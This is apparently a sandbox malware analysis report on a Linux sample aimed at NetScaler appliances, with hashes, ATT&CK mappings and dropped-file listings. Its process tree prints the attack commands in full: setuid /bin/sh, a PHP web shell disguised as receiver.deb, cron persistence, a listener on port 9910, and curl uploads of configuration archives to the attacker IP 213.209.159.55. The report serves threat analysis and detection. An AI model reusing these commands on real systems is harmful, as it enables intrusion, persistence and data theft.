b9bc8d87ef77f63082445f5664e02a84db568f6d8147e077b97dc15df9f2a36b

Analysis

max time kernel
36s
max time network
138s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
03/10/2026, 16:50

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
b9bc8d87ef77f63082445f5664e02a84db568f6d8147e077b97dc15df9f2a36b
Size 25KB
Sample261003-vcmcvaec83
SHA256 b9bc8d87ef77f63082445f5664e02a84db568f6d8147e077b97dc15df9f2a36b
MD5 df2f93ccc44711e299748af2bca30c8c
SHA1 fbcfb4a1578b8979e0330c280215966f6057c92e
SHA512 d11e60672df96a1857181130ff78c6c5c6c96ca66067025ac1f12aaeaa33c52d345af3be03d162061719238470e24abda4c71a0f79c2d5ddc4ab2d18a72cd51e
SSDEEP 768:hFxadn2345FPWdWmS1nwuxli8o7TUILRinUKtXgZC17:5Q2I5FPWdPSNwuxli8o80RinhXgZ07
TLSH
T165C2EAC17C6E5DB183D7C47CEB9AD44177675447140A2464B8BCA3BCAF68434E2F2AE8
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

discovery execution persistence privilege_escalation

Malware Config

Signatures

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.TScNxS	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads CPU attributes 1 TTPs 3 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill

Command and Scripting Interpreter: Unix Shell 1 TTPs 2 IoCs

Execute scripts via Unix Shell.

execution

Unix Shell

T1059.004

pid	Process
786	sh
790	sh

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/321/cmdline	pkill
File opened for reading	/proc/382/cmdline	pkill
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/14/cmdline	ps
File opened for reading	/proc/661/status	pkill
File opened for reading	/proc/sys/kernel/osrelease	pkill
File opened for reading	/proc/354/status	pkill
File opened for reading	/proc/14/stat	ps
File opened for reading	/proc/759/stat	ps
File opened for reading	/proc/16/status	pkill
File opened for reading	/proc/662/status	pkill
File opened for reading	/proc/21/cmdline	ps
File opened for reading	/proc/36/cmdline	ps
File opened for reading	/proc/400/status	pkill
File opened for reading	/proc/674/status	pkill
File opened for reading	/proc/17/stat	ps
File opened for reading	/proc/78/cmdline	ps
File opened for reading	/proc/382/stat	ps
File opened for reading	/proc/400/cmdline	ps
File opened for reading	/proc/76/cmdline	pkill
File opened for reading	/proc/352/cmdline	pkill
File opened for reading	/proc/382/cmdline	pkill
File opened for reading	/proc/20/status	pkill
File opened for reading	/proc/382/cmdline	ps
File opened for reading	/proc/750/cmdline	ps
File opened for reading	/proc/105/cmdline	pkill
File opened for reading	/proc/8/status	pkill
File opened for reading	/proc/5/cmdline	ps
File opened for reading	/proc/82/stat	ps
File opened for reading	/proc/11/cmdline	pkill
File opened for reading	/proc/67/cmdline	pkill
File opened for reading	/proc/24/cmdline	pkill
File opened for reading	/proc/674/status	pkill
File opened for reading	/proc/3/cmdline	ps
File opened for reading	/proc/116/cmdline	ps
File opened for reading	/proc/661/stat	ps
File opened for reading	/proc/703/cmdline	ps
File opened for reading	/proc/15/status	pkill
File opened for reading	/proc/702/cmdline	pkill
File opened for reading	/proc/151/stat	ps
File opened for reading	/proc/706/cmdline	pkill
File opened for reading	/proc/filesystems	ps
File opened for reading	/proc/3/stat	ps
File opened for reading	/proc/144/cmdline	ps
File opened for reading	/proc/14/cmdline	pkill
File opened for reading	/proc/80/status	pkill
File opened for reading	/proc/36/status	pkill
File opened for reading	/proc/24/status	ps
File opened for reading	/proc/115/stat	ps
File opened for reading	/proc/674/status	ps
File opened for reading	/proc/716/status	ps
File opened for reading	/proc/1/cmdline	pkill
File opened for reading	/proc/115/cmdline	pkill
File opened for reading	/proc/674/cmdline	pkill
File opened for reading	/proc/22/status	pkill
File opened for reading	/proc/74/status	pkill
File opened for reading	/proc/750/status	pkill
File opened for reading	/proc/371/cmdline	pkill
File opened for reading	/proc/36/cmdline	pkill
File opened for reading	/proc/68/status	pkill
File opened for reading	/proc/74/cmdline	pkill
File opened for reading	/proc/69/stat	ps
File opened for reading	/proc/19/status	pkill
File opened for reading	/proc/707/cmdline	pkill

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
791	gzip
770	pkill
786	sh
787	gzip
790	sh

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.slap.cron	b9bc8d87ef77f63082445f5664e02a84db568f6d8147e077b97dc15df9f2a36b

/tmp/b9bc8d87ef77f63082445f5664e02a84db568f6d8147e077b97dc15df9f2a36b
/tmp/b9bc8d87ef77f63082445f5664e02a84db568f6d8147e077b97dc15df9f2a36b
1⤵
- Writes file to tmp directory
PID:707
- /bin/mkdir
  mkdir -p /nsconfig/.slap /var/netscaler/logon/LogonPoint/custom
  2⤵
  PID:709
- /bin/cat
  cat
  2⤵
  PID:713
- /bin/cat
  cat
  2⤵
  PID:715
- /bin/mkdir
  mkdir -p /var/tmp/.ux
  2⤵
  PID:720
- /bin/cat
  cat
  2⤵
  PID:723
- /bin/cat
  cat
  2⤵
  PID:726
- /bin/cat
  cat
  2⤵
  PID:728
- /bin/chmod
  chmod 700 /nsconfig/.slap /nsconfig/.slap/agent.pl /nsconfig/.slap/bridge.pl
  2⤵
  PID:730
- /bin/cat
  cat
  2⤵
  PID:732
- /bin/chmod
  chmod 644 /var/netscaler/logon/LogonPoint/custom/.slap.receiver
  2⤵
  PID:734
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver
  2⤵
  PID:736
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /var/netscaler/logon/LogonPoint/custom/receiver.deb
  2⤵
  PID:738
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /nsconfig/.slap/.slap.receiver
  2⤵
  - Reads runtime system information
  PID:739
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /nsconfig/.slap/.ctxs.receiver
  2⤵
  PID:740
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /nsconfig/.slap/receiver.deb
  2⤵
  PID:742
- /bin/chmod
  chmod 644 /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver /var/netscaler/logon/LogonPoint/custom/receiver.deb /nsconfig/.slap/.slap.receiver /nsconfig/.slap/.ctxs.receiver /nsconfig/.slap/receiver.deb
  2⤵
  PID:744
- /bin/chmod
  chmod 6555 /bin/sh
  2⤵
  PID:745
- /bin/chmod
  chmod 700 /nsconfig/.slap/boot.sh
  2⤵
  PID:746
- /usr/bin/perl
  perl -ni -e "print unless m{AliasMatch\\s+\\*/logon/LogonPoint/custom/receiver}" /etc/httpd.conf
  2⤵
  PID:748
- /bin/grep
  grep -q "Alias /logon/LogonPoint/custom/receiver.v2.min.css" /etc/httpd.conf
  2⤵
  PID:751
- /bin/cp
  cp /etc/httpd.conf /etc/httpd.conf.slap.bak
  2⤵
  PID:753
- /bin/cat
  cat
  2⤵
  PID:754
- /usr/bin/perl
  perl -pi -e "s/php_flag engine off/php_flag engine on/" /etc/httpd.conf
  2⤵
  PID:755
- /bin/grep
  grep -q "AddType application/x-httpd-php .deb" /etc/httpd.conf
  2⤵
  PID:757
- /bin/httpd
  /bin/httpd -t -f /etc/httpd.conf
  2⤵
  PID:758
- /bin/grep
  grep -q "[.]slap/agent.pl"
  2⤵
  PID:760
- /bin/ps
  ps -axww
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:759
- /bin/grep
  grep -q /nsconfig/.slap/agent.pl /nsconfig/rc.netscaler
  2⤵
  PID:762
- /usr/bin/setsid
  /usr/bin/setsid /bin/perl /nsconfig/.slap/agent.pl
  2⤵
  PID:761
- /bin/perl
  /bin/perl /nsconfig/.slap/agent.pl
  2⤵
  PID:761
- /bin/grep
  grep -q /nsconfig/.slap/boot.sh /nsconfig/rc.netscaler
  2⤵
  PID:763
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:764
- /bin/grep
  grep -q /nsconfig/.slap/agent.pl /tmp/.slap.cron
  2⤵
  PID:765
- /bin/grep
  grep -q /nsconfig/.slap/boot.sh /tmp/.slap.cron
  2⤵
  PID:766
- /usr/bin/crontab
  crontab /tmp/.slap.cron
  2⤵
  - Creates/modifies Cron job
  PID:767
- /usr/bin/pkill
  pkill -f /var/tmp/.ux/slapshot.py
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:769
- /usr/bin/pkill
  pkill -f /var/tmp/.ux/whipd.py
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:770
- /bin/date
  date -u
  2⤵
  PID:773
- /usr/bin/nohup
  nohup /usr/bin/python3 /var/tmp/.ux/slapshot.py --listen 127.0.0.1:9909 --pidfile /var/tmp/.ux/agent.pid
  2⤵
  PID:771
- /usr/bin/nohup
  nohup /usr/bin/python3 /var/tmp/.ux/whipd.py --bind 0.0.0.0 --port 9910 --agent 127.0.0.1:9909 --token slap --pidfile /var/tmp/.ux/whip.pid
  2⤵
  PID:772
- /usr/bin/python3
  /usr/bin/python3 /var/tmp/.ux/slapshot.py --listen 127.0.0.1:9909 --pidfile /var/tmp/.ux/agent.pid
  2⤵
  PID:771
- /usr/bin/id
  id
  2⤵
  PID:774
- /usr/bin/python3
  /usr/bin/python3 /var/tmp/.ux/whipd.py --bind 0.0.0.0 --port 9910 --agent 127.0.0.1:9909 --token slap --pidfile /var/tmp/.ux/whip.pid
  2⤵
  PID:772
- /bin/uname
  uname -a
  2⤵
  PID:775
- /bin/ls
  ls -l /var/netscaler/logon/LogonPoint/custom/.slap.receiver /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver /var/netscaler/logon/LogonPoint/custom/receiver.deb /etc/httpd.conf
  2⤵
  PID:776
- /bin/httpd
  /bin/httpd -t -f /etc/httpd.conf
  2⤵
  PID:777
- /usr/bin/tail
  tail -n 80
  2⤵
  PID:779
- /bin/grep
  grep -in php /etc/httpd.conf
  2⤵
  PID:778
- /bin/sed
  sed -n "1395,1425p" /etc/httpd.conf
  2⤵
  PID:780
- /usr/bin/tail
  tail -n 80 /var/log/httpd/error_log
  2⤵
  PID:781
- /usr/bin/tail
  tail -n 80 /var/log/httpd/error.log
  2⤵
  PID:782
- /usr/bin/tail
  tail -n 40 /var/log/ns.log
  2⤵
  PID:783
- /bin/mkdir
  mkdir -p /var/tmp/.s2loot
  2⤵
  PID:784
- /bin/tar
  tar czf /var/tmp/.s2loot/nsconfig.tgz .
  2⤵
  PID:785
- - /bin/sh
    /bin/sh -c gzip
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    - System Network Configuration Discovery
    PID:786
  - - /bin/gzip
      gzip
      4⤵
      System Network Configuration Discovery
      PID:787
- /usr/bin/curl
  curl -sk -H Expect: -m 300 -T /var/tmp/.s2loot/nsconfig.tgz http://213.209.159.55:443/t/274124/loot_nsconfig.tgz
  2⤵
  PID:788
- /bin/tar
  tar czf /var/tmp/.s2loot/hist.tgz /nsconfig/ns.conf.0 /nsconfig/ns.conf.1 /nsconfig/ns.conf.2 /nsconfig/ns.conf.3 /nsconfig/ns.conf.4 /nsconfig/ns.conf.bak
  2⤵
  PID:789
- - /bin/sh
    /bin/sh -c gzip
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    - System Network Configuration Discovery
    PID:790
  - - /bin/gzip
      gzip
      4⤵
      System Network Configuration Discovery
      PID:791
- /usr/bin/curl
  curl -sk -H Expect: -m 300 -T /var/tmp/.s2loot/hist.tgz http://213.209.159.55:443/t/274124/loot_nshist.tgz
  2⤵
  PID:792
- /bin/rm
  rm -rf /var/tmp/.s2loot
  2⤵
  PID:815
- /usr/bin/curl
  curl -sk -H Expect: -m 60 -T /etc/httpd.conf http://213.209.159.55:443/t/274124/loot_httpd.conf
  2⤵
  PID:817
- /usr/bin/curl
  curl -sk -H Expect: -m 60 -T /var/tmp/.slap-diag.txt http://213.209.159.55:443/t/274124/loot_diag.txt
  2⤵
  PID:843

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Unix Shell

T1059.004

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

agent.pl

Path /nsconfig/.slap/agent.pl
Size 4KB
SHA256 94c5ccd3a35357b24fe9474abab665a2e6205a60d8c6a82e4016d3b94d3fb761
MD5 de6f7c87e8f5be485243441ae7ab5bd0
SHA1 7249acf88b30ad5b7bbf3c10299e16780f3d0dac
SHA512 88b9e76e1aac24b7f7806d3b8dbcd8ccda912b0f390b8fee2c18cbe5dd4d6494d579a8e0e0981fdcc1b3c2e31d8374f861d37c077d13ef1a018139e357c7f668
SSDEEP 96:IFWaH88gEe/qnao0AHt2tRqS2kJRCR7jXCtJrC9SAqCGCSeCvCSEx3a32Q:IFW+hD2tRgwt4UADH4K1Ba32Q
TLSH
T10E81CE843DFBAA7684F2D02CEFDAC41171B9849B8509E9A07D7C42BCAF45930D6F52C9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

boot.sh

Path /nsconfig/.slap/boot.sh
Size 3KB
SHA256 af7a3af465c95e997e1476b0c2db852b26169d4a5647a445ff46a54a86a75cf8
MD5 14d4a6c791452d159199b9f53b74d98b
SHA1 4c50e3dd1031687052bb49ee8cf44b9b77ea1600
SHA512 5185f30591cf4ec5edd11471f5c7bd5d1b537e123736ee7f3afda53cdcfc7b4034237ba100f9f39cc045034cebb2205184c589a7c0c9589eed4fe1bf0488e1a8
TLSH
T1D47185F3B40E9EF62DD989BCB39D85497BC282691C252965F049B634A4BC248F0B6178
MD5 SHA1 SHA512 TLSH

Submit Download

bridge.pl

Path /nsconfig/.slap/bridge.pl
Size 697B
SHA256 f09c1bf2c6148e9e8f3a4be7b26b365fc5fdf95d768abf78a7ed770b9c5debad
MD5 bc21f7306742c9e9d2f10a3542463be2
SHA1 237ca70151ef13c42c5bbdc7c553bc561a90db08
SHA512 af47a95a1d6455c62e978ae3b8dc50cb3216968a56039bd2904c2d1cf5e70d055a21af09f187eb5663cd8c02b78b26da08ce3070c098f92390966247aa087d57
TLSH
T1E601FE204CD34B51C0FEA04AF608914792CA843B4EAAB8BE7E50478E9F04374B0F76C0
MD5 SHA1 SHA512 TLSH

Submit Download

rc.netscaler

Path /nsconfig/rc.netscaler
Size 37B
SHA256 370368e6491d9344962b6a58a771fb24e500f84e9d99379f61969e3068ed5b4b
MD5 d5800c883436ef1f94115dcab532015a
SHA1 a46bf0376f7876ce348c8a0d053762291f08ea33
SHA512 a4bb5355a14d262c50307f77c1806751ae606aff6022af4c515311a6d3f289d72f7110a9bc7c71b1af74f90ccf569dbc168646292761e2c0ad9e11c6c36034af
MD5 SHA1 SHA512

Submit Download

rc.netscaler

Path /nsconfig/rc.netscaler
Size 71B
SHA256 4c1a2751a1b474cc4873fd78d237d003a25dc45205b94577265443d65d2432d2
MD5 79b9b312be1c2b9d60a03e736eae4c5f
SHA1 09fce7d4b32dcba305a2d07f80a4292e0d4347e5
SHA512 a244df78c6246342d607320f603d85946d0b5e6d8cd723446c2c8638ae42c1ba8132b3d93a24f5923ff9f6cc5b5961885d54e77a1838990b42507efa94d3e9cc
TLSH
T17DA0024A260CEDF3CFCB9AB4D65724AA3F5142843E410521B404F2C4E8201CE7E39004
MD5 SHA1 SHA512 TLSH

Submit Download

.slap.cron

Path /tmp/.slap.cron
Size 45B
SHA256 0759755783a468f3bc18dcbfde22fdb21bb754aee300137f26ee1aa1893dd3cd
MD5 80bdf2e82a187390554f344fe42b85e5
SHA1 8fce99a4a31526033f92cb5428491d9fdf911946
SHA512 b61ac653dd02118ad48ac80add43744cac3b338aeb7ce3dee36e63ca64380330a909d3dcfaf5a2c628b3ad91efed2e9e7b0988f8b694fee000c753402f5ed580
MD5 SHA1 SHA512

Submit Download

.slap.cron

Path /tmp/.slap.cron
Size 89B
SHA256 1a7762fb2dc20ab46e650818ba79e47c9758b02f2b0fcb12a7ed15cebc7e392f
MD5 51981d72e97719cd5b287c7dbb830cfd
SHA1 e093784d86c1d60bbd0b19545644f4156cafca3b
SHA512 bc62e23c068936d26a421d72673a67417dd4edc1a2bc53ff403169ea37b05301cfb761da422b9e9fbb2e6e96ed0117e3c1b61689d3b5d03b4ca3b8f6a03d067d
TLSH
T154B0013A950CADF78A8E5AB8E3A638BE7E1643843E410561745CF2C4E82C38F7A39000
MD5 SHA1 SHA512 TLSH

Submit Download

.slap.receiver

Path /var/netscaler/logon/LogonPoint/custom/.slap.receiver
Size 493B
SHA256 9f792058552da5cbbb08693694d31a31d360be8402a3c9d41584d34e3b569be7
MD5 7279e5629e02ea3fc9392365f1c005c6
SHA1 838103a40d8530ae9a7eaaf3467aa653443b1bd7
SHA512 3040631b49a846d2c65aa11b23b366b3bfc59adbdd612462549dd421a2fdf5309114af5a078bc6b416f82ee2eabea14120da3108d73c65dd8d6c076fad3a6941
TLSH
T1F9F09E0C31E625B1CDBFBC70D75E2C08A1690001151A9A5138C25DCD1DF812D96B68E6
MD5 SHA1 SHA512 TLSH

Submit Download

tmp.TScNxS

Path /var/spool/cron/crontabs/tmp.TScNxS
Size 278B
SHA256 b4816fe8571b12c9da00702cf0db395e98013f5f613e65783a752994f88c81e7
MD5 b380900499d4ee97201576786e641207
SHA1 30a3240829b5ef419fcfb512f9f4751c0919efcc
SHA512 3f95ff39251618da38599d705a7790308ccf8225610b9696f6e39d8fd70f241e17eaea3d17c6305dec0b5398326166bcf8049008fffcb6f23138cc8677cb515a
TLSH
T111D02B396A04ADF38A4907B4929B283DAD41D1BC58094E21F08DB054921934F3F70451
MD5 SHA1 SHA512 TLSH

Submit Download

hist.tgz

Path /var/tmp/.s2loot/hist.tgz
Size 45B
SHA256 290289a3da22302c9ff91bc2afc7d2dde5c1c53890fe7dbfcecd9923ed97b6c1
MD5 501daa55ad691bee12c4ec50acd8b6cf
SHA1 1f3ebe960b2b6bc2e454a4750744c122f2e86b74
SHA512 473ea3bcf21a2d4111aaa6ee1743de000cd6433d57da016daf114fe559f43713d3abc07918b5128db8c49410fe59e375389e3235fc22b97d17458c81b8ee9049
MD5 SHA1 SHA512

Submit Download

nsconfig.tgz

Path /var/tmp/.s2loot/nsconfig.tgz
Size 3KB
SHA256 7731eb8d9a4c234a5435b1e63fc94cb76608b40b079cee7fdccfb6e5acd5f618
MD5 abb11fd2149e005f4b16dd5df98e2bfa
SHA1 b35c81302757d174f52a5efd4183c8973bc6e080
SHA512 e5c7fc548256163343de0b5159fc763ec37450e037d0c219a12a5c6d165f97de383af9d687836091272027184adbe1226c84a60f25a3f9952702ca494d1afce4
TLSH
T122616CC3B1109B36B880736765E6CBCE34C548F5952D5825FE16AE4C84C808A2E9F358
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-agent.log

Path /var/tmp/.slap-agent.log
Size 63B
SHA256 6686e0f601f892bb8f8e47727170eb99045f66623834e5be2cb1984dfe7a88e1
MD5 2139e7e90aa4d9d126e20970e8149fbd
SHA1 ceb75170a5d023fcdabfb170ee52b2c5e83fea2b
SHA512 b0d1e4592a87f22f161b269b00f32eebba8d4ef1400d78d26c1ae9f5293321cb76e9bce56aa641ff69152096fb9234807a700b19882d1806d616003936c1c6ac
TLSH
T18DA0021259D961541A9629915319ECF68717004F2F0E1225E1704304A427A74B6DFAC2
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 54B
SHA256 1497188139b941fa243bf18e25c2336803e92b3d620637b431588d71b596712e
MD5 8bf300e4ae6ca7fc12a03bea62b68bff
SHA1 7302a69aa88c2e21e19a33c7505d8c59e3b62478
SHA512 d4afe2639116eb1917f3f0a3148d25dd3a634612ca1ad24df691d4bf59d1036abc89bb07015cad712647b102c4dc0eee66d43a6606c917abb8eb1b65b61f6ac0
TLSH
T1BA9002B151069AA5142794C778C68C59422594A9185CE594946583B14A91017478E601
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 93B
SHA256 8234a852227efb690f4ab364d2dcb577ebd769b80ed91c2b16443709496cccb8
MD5 80e788f6523bc957ebb17980c2e867b4
SHA1 19553ab7624f331a73ba4bd5cc224bb010ef4257
SHA512 c3e2556c9578511ba7590abbbb83a2b1663a4bc5ef5f8bff2fa73efd0e74a2fa262ca38a27ab21a14adde2ccbddec6b85b367fd2a4149543eb6194d31f2275de
TLSH
T1BCB01270021195522023C0D6F4E14CDB0233D8941658BC40AA94C3A3455010A138A101
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 195B
SHA256 f90136a98e3df757bacd1d025931ab8ee0001a169f4ffcac7e2a2cc0e15e4116
MD5 ea79951a81aff96c965441336f2822fb
SHA1 0d4f1fb2f86492fa21b4d490c9e67378bb693887
SHA512 846bc60136564aac853684351abab0f20aa85521e984d6d1708a9d75e1e8624784e92a3b601adae4dbcd1db1b204a31a6e9f4912db7b8a1d7e357de155203dd8
TLSH
T1D0D02261B2323283A813A4C3F4E9CDEA013388802A2C3A00A89D83A1030800BA783810
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 219B
SHA256 c625a13127ac1088be8cbf4662546ee45b7e0a09127bc0a6e2ad65f37f89b913
MD5 e83fbc70cdca331c33b0d922dedf109d
SHA1 5ed311be10dbd1db9580638db3314d038d7cf43e
SHA512 21699462e7580bfda18d1f0e201c0b62626f94bc2310195e5a7c6c9889fc223d53c12ef7c2819e127b6ad776f4270c58f3de823eaea016e6e0dcd65265d7b312
TLSH
T1B5D02351B131B1539853B4C7F4D9DDFE013384C0193C7A0458ED43E14708117B753511
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 830B
SHA256 f8173bfd18ebc3feb48cfdd1e1df47107da97f9da89f3a15da3f8829350e82df
MD5 2c601646941720c4e2fea84179025471
SHA1 fe98acdd9c2abdc723d0183834b73fc275d35b67
SHA512 566436ad927a891ed1eee43be25cd23b683a3e0dcb40d2938cafe0d10b0d7f5aff59a4e5a692125be26594ff3739d66f6dec95969abb3e0af382e4c632735987
TLSH
T1A401CEC7B41A52336BE3DDF7BCAA46D8407280A54E1D7FA81DDDA315C1021868F8AA1D
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-httpd-test.log

Path /var/tmp/.slap-httpd-test.log
Size 169B
SHA256 772d9d599c3f42597bdb3c058b63e92b460b003d45a88b7abcf594757b10e411
MD5 64d6cb7cbb3bfbbc05c7479f6696cba4
SHA1 b9b1e3e41948a062085415f08ae8a11fc8cc07ba
SHA512 9991b674557c30d38a1475f8e6ba9de2698da43a4f2decc3f396fa85fd1a3690e760ea3492cf960be9538e3a39bc270ee28a7d51c79342c9bceba7621e1b9e16
TLSH
T153C080EC42400E001C0F35777CF1184D24800755DB01D7911C1844575043230DC8CDDD
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path /var/tmp/.ux/agent.log
Size 55B
SHA256 78283d26a61fe63825e38c36663b7110c3ba3cbfdfaaedeb98704aa5fb7ebcfb
MD5 b30cb5adb04cad13351e61c128d3929a
SHA1 75e6c7337c0e71d4894761a23cd94153b7ec0619
SHA512 598762422cbd80a61f0bd8ade248ca1dcc2257556ba7d0babe386a66d610ceb0ad98b2cc6beb9f94d4c6fc254b3b86b8dbc230897e311d8fca0e7e8608bc9a9f
TLSH
T166900221142464AE12B28747B57542E7E511E446025420247A46044140998114135210
MD5 SHA1 SHA512 TLSH

Submit Download

slapshot.py

Path /var/tmp/.ux/slapshot.py
Size 7KB
SHA256 be559fb34104b8ce491082276084e76736f5a5ec6b8d05fe31adc60ec063e447
MD5 24f4f949a8df9cb4be3cf8d0cb89eb5d
SHA1 68b56277c3f88b78209fe8dfb4bbeff0b071292d
SHA512 a6ba111301443af786012e1258a77d44239de3bdd997cb8755b5f4cc97ec7236125b2999baa5e4e8f49cd2be4448bff818552db7841b9bd28483976bfd96f61d
SSDEEP 96:M56N8NbBZ2Ok7bsOwFF5r5QYm97WmVUgwyXGoFPWnXAuxuBTFiUbcjHa:wF2345FP3mdWmSgwy9WnXAuxKc3Ha
TLSH
T131F13F86AC645965C397C8965C62E4427727BC07725E1138FAFCC3E42FA887582F1EF8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

whipd.py

Path /var/tmp/.ux/whipd.py
Size 4KB
SHA256 dc07e82e31f874c386e74bb5882c269a3d33a774a7b9772b11830bf6d33bfc7e
MD5 9753dbf79692d424d30abaf39e776a1e
SHA1 8ee23e2fc68366e9a07d8fd682bdb3539573a44f
SHA512 3a886d2a3671b85979d2afaf214efc94f5c1c4786f8d6dd7b314deb945ae39d871992d45034e8492177f016e5e630a3a37f1efdc5d74d20997261e581b523719
SSDEEP 96:kXai6ZdGd3Tgwy8rnQP71TKml0eK3uVUKigRRGLZq5XFEqhi:q6ZItgwyqQP7AgXK3umKigRRGLZqLEqI
TLSH
T125A18602586959F49343C52698E3F956E73E3917200F24A9397DD3C91F64876C2B2EFC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads